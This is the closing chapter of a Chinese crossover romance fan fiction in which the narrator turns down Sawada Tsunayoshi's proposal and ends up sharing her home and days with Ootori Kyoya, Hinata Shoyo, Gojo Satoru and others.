我乖巧的随着凤镜夜手坐在扶手旁。
他坐在我身边,身体向我倾倒,我的手僵硬在半空,看着他枕在我的腿上闭上眼睛呼吸很快平稳下来。
我的手轻轻落下来,将他脸上散落的黑发拨开,然后轻触他眼下的暗沉:“自己都这样了还说我。”
我紧张的看了眼三人离开的通道,又眼巴巴看了眼根本摸不到的电脑和杂志架,坐了一会儿之后也跟着犯困脑袋一点点的闭上了眼睛。
凤镜夜平静的睁开眼睛,手掌托住她的脑袋,动作轻缓的把人放平到自己腿上,解开外套披在她身上。
他轻轻叹息一声,胸腔中一直以来的空洞终于被填满,连夜处理好山庄突发事件又想办法坐上这架飞机的疲倦化作的柔软的心绪,环绕着怀中的少女蓬松跳动。
“还能再见真是太好了。”
他小心翼翼的环抱着他的宝贝闭上了眼睛。
飞机落地时发出轻微的颠簸将我从睡梦中唤醒。
我贴着脸侧温热的触感打了个哈欠,撑着沙发坐了起来,与凤镜夜清明的双眼对视了好一会儿,才察觉到我们的位置和睡着之前反了过来。
打哈欠的动作停下来,我有些羞赧:“是我睡姿太差了?抱歉没想到看你睡着之后我也会这么困。”
他拖着我的后背让我坐正,身上层层叠叠的落下来四件衣服。
我茫然地把它们都捡起来抱在怀里。
难怪这么热。
我把凤镜夜的外套挑出来递给他,镇定的转身看向围坐在一张小桌前的三个人,先瞪了一眼瞎掺和的夏油杰一眼,获得一个无辜的眯眯眼。
沢田纲吉率先站了起来,似乎对于这样幼稚的行径有些不自在,主动拿回了外套披在身上。
“别管他了,我们到了。”
我看了眼脱掉高专制服外套之后只穿了一件贴身黑色背心,却仍然大大咧咧朝我龇着嘴乐的五条悟以及同样穿着紧身背心沉默的夏油杰,把最后两件分别扔到他们脸上,冷静的说:“给我把外套穿好你们两个。”
知不知道很奇怪啊!
我转身率先走出机舱。
沢田纲吉带着她走向VIP通道:“阿武已经带人在外面等了,他们都很想见你。”
我听出他话里的声音,眼神一亮:“阿武他们也还记得?”
只有一个人拥有记忆的感觉并不好受。
我欣喜的拉着他加快脚步:“那我们快点出去。”
沢田纲吉反手抓住她的手腕,纵容又无奈:“跑慢点小一。”
“不会的这里没什么……嘶!”
跑过转角忽然出现有一队穿着相同队服的身影。
我结结实实的撞进了走在最后那人的怀抱,捂着酸痛的鼻子我蹲在地上缓了好一会儿,艰难地和那人道歉:“对……对不起!你没事吧。”
那人没有出声,视线中的运动鞋动了动,那人似乎也跟着蹲了下来,他穿着运动短裤,单边膝盖上套着黑色的护膝,下蹲时格外明显的大腿肌束出现在视野内。
我盯着他的大腿看了两秒。
哇。
我情不自禁感叹一声。
好像有点眼熟。
蜜色的大手带着一块手帕放到我面前。
他的声音有点慌乱还有些抑制不住的欢喜:“小一?!怎么样好点了么?”
我听到他的声音默不作声的抽出他的手帕擦了擦眼角,然后被他从地上拽了起来:“翔阳?”
“你怎么在这里?”
橘发青年爽朗道:“是到这里来训练,还有排球联赛,还以为没办法邀请你了,要来看我比赛吗?”
他从运动包里拿出两张票递过来,眼神落在我身后:“可以的话沢田君也来吧?”
一只手从我背后伸过来接过门票。
沢田纲吉比起那几个心思深沉的家伙,对日向翔阳的印象要稍微好一点,他不讨厌专注一件事努力到甚至有些笨拙的家伙。
“有时间的话我们会去的。”
“翔阳?走了,教练在找了!”
日向翔阳的视线落回我身上,向后退了一步准备离开,脸上却不自觉出现不舍的神色,明亮的狗狗眼落在我身上似乎想说些什么。
我眨了眨眼,朝他做了个加油的动作。
他双眸一亮,又飞快凑过来,滚烫的掌心附上我的后颈,在我额头上亲了两下。
甚至发出清脆的声音。
我:“……”
脸颊快速升温,又有些矛盾的恼怒。
他满足的眨了眨眼:“有你的加油,我绝对绝对不会输的!明天见!”
他如出现时一样突然离开,只留下脸上热情的温度,有一瞬间阳光仿佛洒在脸上的错觉。
我只来得及摆了摆手,他就已经被队友拽着消失不见,望着空荡荡的通道我叹了口气。
跟着沢田先生回到彭格列意大利总部,这里和我离开之前似乎也没什么两样,山本先生见到我非常高兴,替我一路重新介绍了一遍。
直到熟悉的被环绕在中央的小楼出现在我们眼中。
他非常自然的止住话题,按着心不在焉的我转了个圈把我朝一路上沉默着看着我们的沢田先生的方向推去:“啊哈哈哈再见面实在是太开心了,不小心有点兴奋过头。”
“接下来我还有事要干,和阿纲好好聊聊吧。”
山本武正经起来有种让人不自觉信任的气质,他似乎察觉到了什么,鼓励的看着我。
我不自由自主点点头,看着他脚步轻快的离开。
我看向沢田先生,他到此时眉眼间仍然是平和的,与我的目光相触,他就牵着我的手并肩走向那栋房子。
院子前的草坪修整得非常漂亮,不知名的花丛凑在一起散发着我梦中的香气,他打开门露出其中一尘不染也丝毫未变的陈设,侧身:“这是我们的家。”
我抬起的脚步顿了一下,又继续迈了进去。
我穿上那双毛绒猫咪的拖鞋,走进这栋瞪着我的房子里,心里忽然有了决定。
沢田纲吉拖鞋外套挂在门口,熟练的从柜子里翻出茶具和点心,就像做过很多次一样,将茶点和泡好的红茶放在桌子上。
他在我对面坐下。
我放在膝盖上的手紧了紧,鼓起勇气开口:“沢田先生我觉得……”
茶杯放在桌面发出异常清脆的响声。
他把装着点心的碟子往我面前推了推,平静的打断我:“先吃点点心休息一下再说。”
再等下去可能会有些说不出口。
但在他的眼神下我还是端起茶杯,微微有些发烫茶水划过唇舌,我后知后觉的张口吐息。
“好烫。”
我把茶杯放下来,捂着嘴唇:“沢田先生……”
我还没说完他就猛然起身朝厨房走去,不一会儿端着一杯冰块走回来,清洗过的手指泛着冰冷的水汽捏着冰块塞到我嘴里。
“含住。”
他低声命令道。
我下意识张嘴,含进冰块时唇角似乎被温热的指尖碾过,我抬眼看他没什么表情的脸。
是不小心的吧?
我在心里嘀嘀咕咕,等嘴里缓解得差不多了,趁他转身放下杯子,小心的开口:“我觉得我不能和您结婚。”
我看到他的脊背实实在在的僵了一下。
装着冰块的杯子落在桌面上发出叮叮铃铃的凌乱声响。
他似乎在一瞬间受到了重击,我察觉到自己似乎坐错了什么,急忙站起来握住他的手臂。
“对不起!您还好吗?”
握住他的手指被轻柔又坚定的拿开。
我心里也一瞬间落下了一块巨石,没有想象中的轻松,反而充满迷茫。
空荡荡的。
但又有什么重要的东西迅速填满胸腔。
沢田纲吉好整以暇在对面坐下,双手交握放在膝头,认真的看着我:“能说说为什么吗?”
他平静得刚才一瞬间的失态是我的错觉一样。
我松了口气,更加肯定自己做了正确的决定。
我用力按了按手指,尽量用轻松的语气说:“您应该知道的,我并不能完全回应您的感情,毕竟就和喜欢您一样,我同样喜欢大家。”
他一瞬不瞬的冷静目光不再和以前一样充满柔软的笑意,让我忽然有些胆怯。
我顿了顿端起茶杯一饮而尽,鼓起勇气朝他弯唇,加快了语速,没动他又推过来的点心。
“比起我胆怯的感情,大家的喜欢对比来说太过浓重,如果不负责任的贸然和您结婚,不久的将来您一定会感到失望。”
“说我胆小也好,知难而退也好,玩弄感情也好……我都决定要一个人生活一段时间。”
我像是和朋友谈话一样露出憧憬的眼神:“从进入公司开始我就一直在为别人的人生生活。”
“我从没想过能够在这个时候获得人生的自由!”
“请原谅我的自私。”
我说:“我见到大家的那一刻开始从来没有一刻那么清楚的明白,那一刻我不受任何束缚和指令,全盘由心意主导的生活才刚刚开始。”
“所以此时我也做出发自内心的决定。沢田先生,我可以吗?”
沢田纲吉平静的表情逐渐融化在她幸福而充满希望的感情当中,听到最后的询问,他叹了口气,擦了擦她的脸:“难道我还有放你走之外别的选择吗?”
不会有人忍心破坏此刻她的希冀。
……我后知后觉的察觉,应该不会有人比我还差劲了。
我是明明在做伤害别人的事却自己先掉眼泪的家伙,坐立不安的被沢田先生强硬的留下来,吃了他亲手做的晚餐,时隔多年我再次在这栋房子留宿。
·
提早从彭格列基地溜出来后,我按照地图指引摸去了体育馆,昨天的票在沢田先生那里,好在体育馆门外有临时售票的工作人员。
我安静的钻进被众人遮挡的后排,看完了翔阳的比赛,然后坐上了回国的飞机。
上飞机前我给频繁看观众席的某人发了条匿名讯息。
“比赛非常精彩,请继续加油~”
美和看到失踪几天得我终于回来松了口气,嗔怪的锤了锤我的肩膀:“吓死我了,要不是店长说你请假了,我还以为你真的出事了。”
我顺势抱住她的手臂蹭蹭:“抱歉抱歉让你担心了,晚上我来请客吃寿喜烧。”
她无奈的抽抽手臂,冷漠转身:“不要,穷鬼都给我有点自觉。”
可恶,我的存款和补助什么时候才能发下来啊!
我拜托过沢田先生帮我和大家带了消息,大家比想象中更体贴,真的没有来找过我。
就这样平静又安详的过了一周。
逐渐开始享受退休生活的我:太幸福了。
“啊!要迟到了!”
我从被子里蹦起来,昨晚遗落在被子上的手柄和卡带飞了出去,急匆匆的洗漱穿衣打开门冲了出去。
美和昨天搬出去和男友一起住了,虽然我很期待独居生活,但每天早上真的太危险了。
打开门的瞬间,对面新搬来的邻居也同时开门,我急匆匆打了个招呼就往楼下跑。
没走出几步就被抓住衣领停下,我反射性向后肘击。
身后传来痛苦的闷哼。
我迟疑地向后转头。
半个小时后,我带着面色惨白的凤镜夜站在医院里,医院里的医护在老板出现的瞬间全都吻了上来,我凭借咒力加持的体魄才没有被挤出去。
凤镜夜靠着我虚弱的咳嗽一声,慌乱中进行了一系列措施的医生冷静下来,忽然察觉到我们的姿势,眼神逐渐八卦。
我不自在的往后退了一步。
他隐忍的靠在我身上,也不管他和我的身高这样的姿势到底有多诡异,虚弱的说:“医生,我的病需要休养多久?”
医生愣愣的开口:“只是轻微骨裂,大概好好休息……咳三个月就好了,最好有人能贴身照顾。”
我担忧的眼神逐渐犀利起来。
凤镜夜顶着惨白的脸虚弱的说:“我不怪你,不过接下来的几个月就拜托了。”
我面无表情。
“我听到了,只是轻微骨裂而已。”
话虽如此,凤镜夜还是成功住进了我的家,暂居另一间空出来的房间,我站在厨房用锅铲搅拌锅里的咖喱,小声安慰自己:“谁让是我造成的呢。”
我舀起一勺咖喱小心放到嘴边尝了尝,脸色逐渐沉重下来。
十分钟后,凤镜夜虚弱的表情也和我一样沉重下来。
他和我对视一眼,眼里闪过一丝决心,咬了咬牙,端起碗:“其实做的也还不错,我正好饿了。”
我无奈的把碗抽出来。
“别搞,伤情加重的话,我的积蓄只能骑自行车载你去医院了。”
没想到简餐做的还不错的我完全搞不定这些超过三步的营养餐。
凤镜夜和我对视一会儿,苍白的脸上逐渐浮现出一丝丝红晕,转过头推了推眼镜:“知道了,我让人送饭过来。”
他在羞涩什么?
我心里吐槽,身体却有些无所事事的扯下围裙,转身推开椅子,又把游戏机拿过来:“好啊,吃饭之前要玩做饭游戏开开胃吗?”
他期待的答应下来然后下饭的操作差点让我失去理智把人赶出去。
·
凤镜夜在我家养伤的第三天晚上,我下班回家就感受到一股凝滞的氛围,抬眼就看到他面无表情的坐在沙发上玩下饭小游戏。
我不忍直视的转头:“怎么不高兴,今天我不是下班就回来了么。”
他不吭声。
我:“我保证没有背着你吃路边摊。”
他把手柄按得噼里啪啦响。
我:“……就吃了一根烤肠而已,可是它真的很香,我还给你带了。”
他终于放下手柄,慢吞吞的走到我面前,撑着我身后的墙壁,低头微微启唇。
我和他对视了三秒。
“好吧。”
伤员有矫情的权利,特别是我是罪魁祸首的情况下。
我把怀里的烤肠拿出来,送到他嘴边笑嘻嘻:“还是热的哦。”
他看着烤肠油光锃亮的外皮,眼神逐渐凝重,在我收手之前低头咬了一口,然后细细咀嚼。
如果不是亲眼看着他吃的,看这表情我还以为他是在吃干噎酸奶。
我把只受了外伤的烤肠一口咬掉一大半,朝他翻了白眼,推开他的手走进客厅:“说了多少次了,不喜欢的事不要勉强了。”
走进餐厅我忽然嗅到厨房里的复杂的香气。
“哇,你做饭了?!”
日向翔阳端着一盘烤鱼自然而然的从厨房里走出来,身上系着我的粉色碎花围裙,看到我开心的笑了笑:“你回来啦,饭菜马上就好了。”
他身后好像有尾巴在摇(确信)。
这股自然的犬系人妻感让我直到坐在饭桌面前,都还没想起来问他怎么来了。
手里忽然一轻。
我抬头就发现日向翔阳把剩下的小半根烤肠嚼嚼嚼吞了下去。
他眼神亮晶晶:“我帮你解决了,快来吃饭吧。”
我欲言又止的把这只是我有点不舍得吃掉所以留下的最后一口这句话吞下去,当做没看到凤镜夜嫌弃的表情,双手合十:“我开动了。”
饭后日向翔阳朝我展示了一下他行李,快乐的说:“训练基地搬到附近了,我还没有找到住的地方,小一可以暂时收留我吗?”
我迟疑了一下。
凤镜夜推了推眼镜,镜片上反射过一片白光:“你可以去对面住,三个人太挤了。”
这倒是个好办法,刚吃了翔阳做的饭就把人赶走似乎有点过河拆桥的意味。
在我开口之前,日向翔阳失落的说:“可是我只想麻烦小一,让凤君帮忙的话会显得我很没用。”
我:“……行吧。”
深夜,我瞪着一双铜铃似的眼睛与说好在客厅沙发上借宿的家伙四目相对。
他脸上带着不明显的红晕,把我往怀里揽了揽,小声说:“一个人睡不着。”
我推了推他的小腹,动作忽然一顿。
这是什么?
这是什么? !
我摸着手下一片紧致而富有弹性的腹肌,面无表情的把人踹了下去:“晚安,你在地上睡吧。”
日向翔阳的声音乖巧的从地面上传来:“好啊。”
“……”
明知道是苦肉计。
过了几分钟我还是把人喊了上来:“把衣服穿上再过来,不然直接出门直走。”
今晚的梦里我在橘子小狗暖融融的怀中睡了好觉。
“半夜偷偷爬床的行为非常坏,坏就坏在……”
我在比沙发低了许多的小凳子上并拢双膝,忏悔道。
半夜爬床当事人盘腿坐在我旁边的地毯上,若无其事的扯着我衣角的线头,等我发现的时候他已经把线头编成了长长的三股辫。
“……”
我一把把线头扯过来,顺便瞪了他一眼:“我的衣服都短了!”
日向翔阳抓住我拍他的手握在手心:“那我给小一买衣服,就当做是赔偿!”
凤镜夜看着两人,忽然意识到什么,不满的表情收了回去,满脸苍白的嘶了一声:“可是我每天晚上抽痛睡不着,你却在陪他。”
他满脸落寞的扭头,露出纤瘦的侧脸:“算了。”
我的良心隐隐作痛,被凤家当家抓住机会割城赔地,答应在伤好之前一个星期至少要陪他休息三天。
·
三个人的生活略显拥挤。
就在我感叹下班后的生活全部被他们占据之后。
打工的便利店效益不好裁员,将我这种加入不久的员工辞退了,我正式成为一名家里蹲。
对此另外两人罕见的意见统一。
“那种工作除了浪费时间之外没什么好做的。”
“太好了!小一能来看我训练吗?”
我从两人中间挤了出来,不舍的和宅家生活告别,在咒术界找了个有技术含量不容易被替代只要命硬的工作——窗。
每天的只要将负责的区域检测一遍,将出现的咒灵和等级上报就行。
这实在是一份轻松又高薪的工作。
因为在尝试着写了一段时间报告之后,辖区内所有出现的咒灵一个照面都被我解决掉了。
嘿嘿我真是个天才。
在上头出现关系户把我挤走只为了继承我“轻闲”的辖区之前我都是这样想的。
现在的话,只能祝他成功吧。
我来到新的辖区,叹了口气,撸起袖子开始干活:“在山的那边海的那边有一只小咒灵,嘿咻,没了嘿嘿。”
干了几天之后上面可能意识到我的能力,给我升职了。
我穿着女士西装,慎重的扯了扯白色手套,将不起眼的黑色配车停在约定的地点:“果然是星星在哪儿都会发光啊。”
车门忽然被人打开,后座明显下沉了两下。
我朝后座递过去一份整理好的资料:“这是这次任务的……怎么是你们?!”
后座一黑一白两名特技咒术师勾肩搭背的朝我笑得很开心。
“哟,小一。”
“早安,这样穿很精神。”
我确认般看向资料,确定是四级没错。
咒术界在我不在的时候已经变成我不认识的样子了。
我想,那只四级咒灵可以从现在开始祷告,下一辈子不要碰上这俩了。
我瘫着脸发动车辆,头发被人摸了摸,又小心的扯了扯。
“小一?”
“小一小一?”
我直视前方抽空回答:“什么事。”
五条悟把脑袋探到前排座椅旁,朝我嘴里扔了颗巧克力,我嚼了嚼,酸甜的夹心流了出来。
我眯了眯眼睛:“好吃。”
他朝我展示了一下满是糖的口袋,诱惑道:“如果小一当我的辅助监督,这些都是你的哦。”
紧接着他羞涩的捂着胸口:“我也是你的。”
“……不,请把你自己交给伊地知先生。”
我额角跳了跳,思考半路把两人扔下去,自己冲过去把那只咒灵解决掉的方案可行性。
非常可行。
我只用一秒在要不要扔掉五条悟这件事上得出答案。
我转动方向盘朝垃圾场的方向开去。
夏油杰默默开口,细长的眼睛里看穿了一切:“小一,你不会在想什么不好的事吧,比如把悟扔到垃圾场之类的?”
“……怎么会呢?你想多了。”
五条悟大声抗议,凑过来对司机进行骚扰:“你迟疑了!不会是被猜中了吧!”
我把车转回去:“只是走错路了而已,你们也太敏感了吧?太较真的男人不受欢迎哦。”
后座安静了一会儿。
我忽然升起一股不妙的预感。
我迅速把车门打开下车:“地方到了,你们快去找那只倒霉……四级咒灵吧,说不定还有人等着你们拯救呢!”
余光一片白色以一种躲不开的速度扑了过来。
“我知道了!那从现在开始小一对我做过的所有不好的事我都当做没发生!我可以去你家里了吗?”
夏油杰:“噗。”
在路人的指指点点中,我咬牙切齿的抓着他的衣领摇晃:“不要凭空捏造不存在的记忆啊!”
“谁要对你做不好的事啊!”
他抓着我的手贴在胸口:“那小一现在可以……”
我收回手:“不要。”
我暗自下定决心绝对不要让这家伙知道我家里住着两个人,不然绝对会在发生的瞬间变成三个。
任务完成后我继续开车前往下一个地点。
直到傍晚我松了口气,靠在车上,叼着棒棒糖问他们:“晚上回哪儿,我送你们。”
他们对视一眼。
夏油杰勉强挤出一点兄弟情,退后一步:“不用了,我住附近,自己回去。”
我接着看向另一个:“要不你也……”
五条悟大步跨到我面前,握着我的手:“请务必要带着我回去做一些不好的事情。”
我用力抽出手:“都说了不要啊!”
就在此时一辆低调的跑车停在我们身边。
沢田纲吉风尘仆仆下车,棕眸在夕阳下仿佛流淌着蜂蜜,他显然是匆忙赶来,想来一丝不苟的西装袖口居然随意散开。
他走到我面前,眼神带着一丝小心翼翼:“我听说他们住进你家了,小一,你……”
他声音有些沙哑:“你只是不想接受我吗?”
我震惊的看着他,想捂嘴却已经来不及了。
五条悟挤了过来,犀利的看着我:“什么?!有人竟然死皮赖脸住进你家?”
“不是……”
我苍白的解释道。
五条悟听了之后沉吟片刻,忽然一把把我抱了起来,塞进沢田纲吉的车里,自己也坐了进来。
“杰,车就拜托给你了。”
夏油杰:“……行。”
我挣扎着坐直身体瞪他:“你干什么呢?”
五条悟朝我露出一个肆意的笑容,拍了拍驾驶座的椅背:“既然有人提前打破了约定。”
他凑过来轻轻啄吻的唇,湛蓝色的眼眸在黑暗中亮得惊人:“那我们自然要把落后的讨回来了。”
……
我迷迷糊糊的听到前座担忧的声音。
“体力这么差却这么贪心,还真是拿她没办法。你小心一点不要磕到她了。”
有人在极近的地方回应:“哼,我疼她都来不及。多管闲事。”
全文完。【你现在阅读的是 】